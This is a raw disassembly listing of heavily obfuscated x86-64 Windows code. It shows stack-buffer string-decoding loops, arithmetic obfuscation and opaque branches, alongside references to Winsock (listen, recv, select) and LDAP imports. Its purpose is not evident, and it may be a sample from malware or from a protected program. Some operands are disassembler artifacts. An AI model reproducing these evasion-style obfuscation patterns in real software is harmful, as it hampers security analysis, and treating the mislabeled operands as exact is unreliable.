movabs rcx, 0xbc06fdf6f0cc7536
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7a
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rcx, 0x31fde30d8e422250
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc r9
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rdx, 0xa7f4c8242bb7cf6a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400994b3
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400990da
movabs rdx, 0x45048d74b1452973
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x25
jmp 0x140098ee5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009910a
movabs rcx, 0x52bf35251558ccde
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x12
jmp 0x140099673
inc rax
cmp r8, rax
jne 0x140099158
movabs rdx, 0xf0da85e13cf7c590
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140099188
movabs rcx, 0x7ae3a0ca9f821876
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3a
jmp 0x140099577
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140098ee8
movabs rdx, 0x4ecbbb4020c6b5c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140099413
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400991ee
movabs rdx, 0xfc1ecfb7a005334d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1b
jmp 0x1400994b3
inc rax
cmp r8, rax
jne 0x14009922d
movabs rcx, 0x1031058a6519d919
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x51
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009925d
movabs rcx, 0x24433b5d2a2e7ee5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x43
jmp 0x140099577
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140098e8a
movabs rcx, 0xae4c56468cb8d1cb
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x73
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400992d7
movabs rcx, 0xa57e6a4a2ab199bc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
jmp 0x140099673
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099309
movabs rdx, 0xb990a01cefc63f88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400995bc
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140098e3a
movabs rcx, 0x4399bb065250926e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 2
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rdx, 0x9d977680418d6b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x910]
sub r11b, al
sub r11b, 8
add r11b, bl
jmp 0x140099410
movabs rdx, 0x93e2925166a3299e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0x910]
sub r11b, 0x52
jmp 0x1400995bc
movabs rcx, 0x83b18cc701895085
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x5d
jmp 0x140099673
movabs rcx, 0x5b8d2121776004ed
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7b
jmp 0x140099577
movabs rdx, 0xd184063814d5b207
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x31
add r11b, dl
movabs rcx, 0x4ede04dcb55e002b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x2d
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0x910], bl
jmp 0x140099577
movabs rcx, 0x477aeb4eb24b5f21
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x19
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rdx, 0x3368b57bed36b955
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x53
jmp 0x1400994b3
movabs rdx, 0x1f567fa928221389
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x41
add r11b, dl
movabs rcx, 0xc4d4e9f352d3ad45
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x1d
add cl, bl
mov byte [rbp + rdi + 0x910], cl
inc r9
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rcx, 0x954d64bfc597c0a3
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x75
inc r9
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rcx, 0xb4449d6630d6dbd
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2b
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rcx, 0xf73214039df8c7f1
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x69
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
mov rbx, r10
movabs rdx, 0xe31fde30d8e42225
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 3
add r11b, dl
movabs rdx, 0xd8e71fc617e85311
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x77
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x910], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14009961c
movabs rdx, 0x5916c3477659cf3f
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x47
movzx ebx, r10b
add r11b, dl
movabs rdx, 0x1debad3ac92d7c84
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x910], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x140099673
movabs rcx, 0xcf0da85e13cf7c59
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6f
movzx eax, byte [rbp + rdi + 0x910]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rcx, 0xdb5d7da018ee88bf
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x39
jmp 0x1400988de
movabs rcx, 0x515462b6b66435d9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x11
jmp 0x1400988d0
lea rcx, [rbp + 0x177e254]
jmp 0x1400996f8
lea rcx, [rbp + 0xbd0bc7]
jmp 0x1400996f8
lea rcx, [rbp + 0x910]
xor r8d, r8d
mov rdx, r15
call fcn.140036bc0
test al, al
je 0x14009975d
xor ebx, ebx
nop dword [rax]
mov edi, dword [r14]
cmp edi, ebx
sete dl
mov dword [rbp - 0x6c], 0
mov dword [rbp - 0x68], 0
lea r9, [rbp - 0x6c]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e490
test al, al
je 0x140099740
mov dword [r14], ebx
cmp edi, ebx
jne 0x14009974d
call fcn.140014a40
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x140099710
call fcn.140018d80
lea rdx, [0x140229f40]
lea rcx, [rbp + 0x228]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x78]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov r14, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [r14 + 0x38], 0
jne 0x1400a4062
movsxd rax, dword [r14 + 0x30]
lea rsi, [0x1401ba728]
mov rdi, qword [rsi + rax*8]
mov byte [rbp + 0x938], 0xa2
mov byte [rbp + 0x939], Ordinal_200
mov byte [rbp + 0x93a], 0xb3
mov byte [rbp + 0x93b], 0xae
mov byte [rbp + 0x93c], Ordinal_211
mov byte [rbp + 0x93d], 0xdf
mov byte [rbp + 0x93e], 0x68
mov byte [rbp + 0x93f], 0xbf
mov byte [rbp + 0x940], 0xdf
mov byte [rbp + 0x941], Ordinal_217
mov byte [rbp + 0x942], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x943], Ordinal_217
mov byte [rbp + 0x944], 0xdd
mov byte [rbp + 0x945], Ordinal_211
mov byte [rbp + 0x946], Ordinal_211
mov byte [rbp + 0x947], 0x47
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x948], xmm0
mov word [rbp + 0x958], ax
mov byte [rbp + 0x95a], al
movabs r15, 0xdaba154b9d061711
movabs r13, 0x9b92bdb78940b10f
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
movabs rcx, 0x6bf07aeb383d3e0d
cmp rbx, 0x23
jae 0x14009a66d
movzx r11d, byte [rbp + rbx + 0x938]
mov rdx, r11
cmp r8, rbx
ja 0x14009a661
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400998c4
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x5b
jmp 0x140099900
je 0x14009a5d8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009a5a0
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009a54e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009a520
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009a4cb
nop
cmp r9, rbx
ja 0x14009a655
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140099938
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x77
add r10b, dl
jmp 0x140099980
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009a4a6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009a47b
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009a456
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009a431
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009a395
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009a022
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140099ffd
lea rax, [r9 + 1]
cmp r8, rax
je 0x140099fcb
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140099f9c
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140099f77
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140099f4e
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140099f15
lea rcx, [r9 + 6]
cmp r8, rcx
je 0x140099ef0
lea rax, [r9 + 9]
cmp r8, rax
je 0x140099ec8
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140099e8e
lea rax, [r9 + 5]
cmp r8, rax
je 0x140099990
mov r8, rcx
lea r9, [rcx + 0x80]
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14009a630
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x14009a60c
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x140099b91
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x140099b69
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x140099b4a
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x140099e2b
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x140099dcc
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140099d79
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x140099d49
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x140099990
lea r8, [r9 + 9]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140099d13
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140099cea
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140099cc5
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140099c90
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140099c67
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140099c41
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140099c16
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140099be8
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140099bc2
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140099990
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x1000]
jmp 0x140099990
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x69
add r10b, dl
jmp 0x140099980
movabs rdx, 0xc3b1c7e118c634f5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4d
add r10b, dl
jmp 0x140099900
movabs rdx, 0xebd0d20aa84bb8db
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 3
add r10b, dl
movabs rcx, 0x6bf07aeb383d3e0d
jmp 0x14009988f
movabs rdx, 0xd5d0aa5ce830b888
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009a4eb
movabs rcx, 0xfdefb48677b63c6e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 2
inc r9
dec rbx
inc rbx
jmp 0x140099872
movabs rcx, 0x260ebeb0073bc054
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4c
dec rbx
inc rbx
jmp 0x140099872
movabs rdx, 0x4e2dc8d996c1443a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009a56e
movabs rdx, 0x764cd3032646c820
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009a5c0
movabs rcx, 0x9e6bdd2cb5cc4c06
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2a
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099872
movabs rdx, 0xc68ae7564551cfec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x74
jmp 0x14009a3b5
movabs rdx, 0xeea9f17fd4d753d2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009a3eb
movabs rcx, 0x16c8fba9645cd7b8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099872
movabs rcx, 0xfb1695114b2aa177
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x41
mov byte [rbp + rbx + 0x938], r10b
inc rbx
jmp 0x140099872
movabs rdx, 0x23359f3adab0255d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x75
add r10b, dl
cmp r9, 5
jb 0x140099d69
movabs rdx, 0x1d0f9b86866b92e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14009a4ee
movabs rdx, 0x4b54a9646a35a943
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2b
add r10b, dl
cmp r8, 3
jae 0x14009a339
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14009a220
movabs rdx, 0x93075f58039de02a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
jmp 0x140099d99
movabs rdx, 0x7373b38df9bb2d29
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1f
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 1
je 0x14009a367
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14009a0cd
movabs rdx, 0xb84d4a0c6697c919
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x51
jmp 0x140099dec
movabs rdx, 0x205c7fc5ae248a66
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099872
movabs rdx, 0x487b89ef3daa0e4c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
add r10b, dl
jmp 0x14009a3eb
movabs rdx, 0x709a9418cd2f9232
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
jmp 0x14009a3b5
movabs rdx, 0x98b99e425cb51618
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099872
movabs rdx, 0xc0d8a86bec3a99fe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009a5c0
movabs rdx, 0xe8f7b2957bc01de4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3c
jmp 0x14009a56e
movabs rdx, 0x1116bcbf0b45a1ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140099872
movabs rdx, 0x3935c6e89acb25b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140099872
movabs rdx, 0x6154d1122a50a996
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
jmp 0x14009a4eb
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14009a054
movabs rdx, 0x6bf07aeb383d3e0d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5b
jmp 0x140099e4b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a09b
movabs rdx, 0xb5742a973a0c2e22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099872
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099e4e
movabs rdx, 0xecd8f7c76c709aa4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
jmp 0x14009a56e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009a0ff
movabs rdx, 0x902e3fe2d7124533
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x65
jmp 0x14009a4eb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009a137
movabs rcx, 0x3ff02b8fb8073d67
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2f
dec rbx
inc rbx
jmp 0x140099872
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009a169
movabs rdx, 0x17d121662881b981
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x79
jmp 0x14009a56e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009a19b
movabs rcx, 0xefb2173c98fc359b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3d
jmp 0x14009a5c0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a1dd
movabs rcx, 0xc7930d130976b1b5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xd
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099872
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140099def
movabs rcx, 0x4f35ee965ae62603
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x15
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099872
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a267
movabs rdx, 0x6ae8552e74185c44
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099872
inc rax
cmp r8, rax
jne 0x14009a29c
movabs rdx, 0x42c94b04e492d85e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009a3eb
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a2ce
movabs rdx, 0xa24d225ea67cc8c6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6a
jmp 0x14009a56e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009a306
movabs rcx, 0x7a2e183516f744e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140099872
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140099d9c
movabs rdx, 0x29f003e1f7ec3d14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009a4eb
movabs rdx, 0xd9b1ef8ed8e13548
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x938]
add r10b, r11b
jmp 0x14009a56e
movabs rdx, 0xb192e565495bb162
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x938]
add r10b, r11b
jmp 0x14009a3b5
movabs rdx, 0xc1e0ce28b05f7bc7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x71
add r10b, dl
movabs rdx, 0x1d8360508198ef6f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 9
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x938], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x8973db3bb9d62d7c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x64
add cl, r11b
mov byte [rbp + rbx + 0x938], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099872
movabs rcx, 0x121ee27bcf6a8393
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 5
jmp 0x14009a5c0
movabs rdx, 0x3a3deca55ef00779
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4f
jmp 0x14009a56e
movabs rcx, 0x625cf6ceee758b5f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x67
dec rbx
inc rbx
jmp 0x140099872
movabs rdx, 0xb29b0b220d80932b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2d
jmp 0x14009a4eb
movabs rdx, 0x2d91f752c8b9af7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3f
add r10b, dl
movabs rcx, 0x6dc174a3a0a3f73b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x63
add cl, r11b
mov byte [rbp + rbx + 0x938], cl
inc r9
dec rbx
inc rbx
jmp 0x140099872
movabs rcx, 0x2af8299ebc111edd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xb
inc r9
dec rbx
inc rbx
jmp 0x140099872
movabs rdx, 0x7b363df1db1c26a9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x61
add r10b, dl
movabs rcx, 0x45a26a7a111e7355
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x53
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x938], r11b
jmp 0x14009a5c0
movabs rcx, 0xa355481b6aa1aa8f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x17
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099872
movabs rcx, 0x43d170c1a8b7ba27
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x11
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099872
movabs rcx, 0x13efdc3437d13cc1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
jmp 0x14009986e
movabs rcx, 0x3c0ee65dc756c0a7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6f
jmp 0x140099853
lea rcx, [rbp + 0x165b9f4]
jmp 0x14009a674
lea rcx, [rbp + 0xe2f801]
jmp 0x14009a674
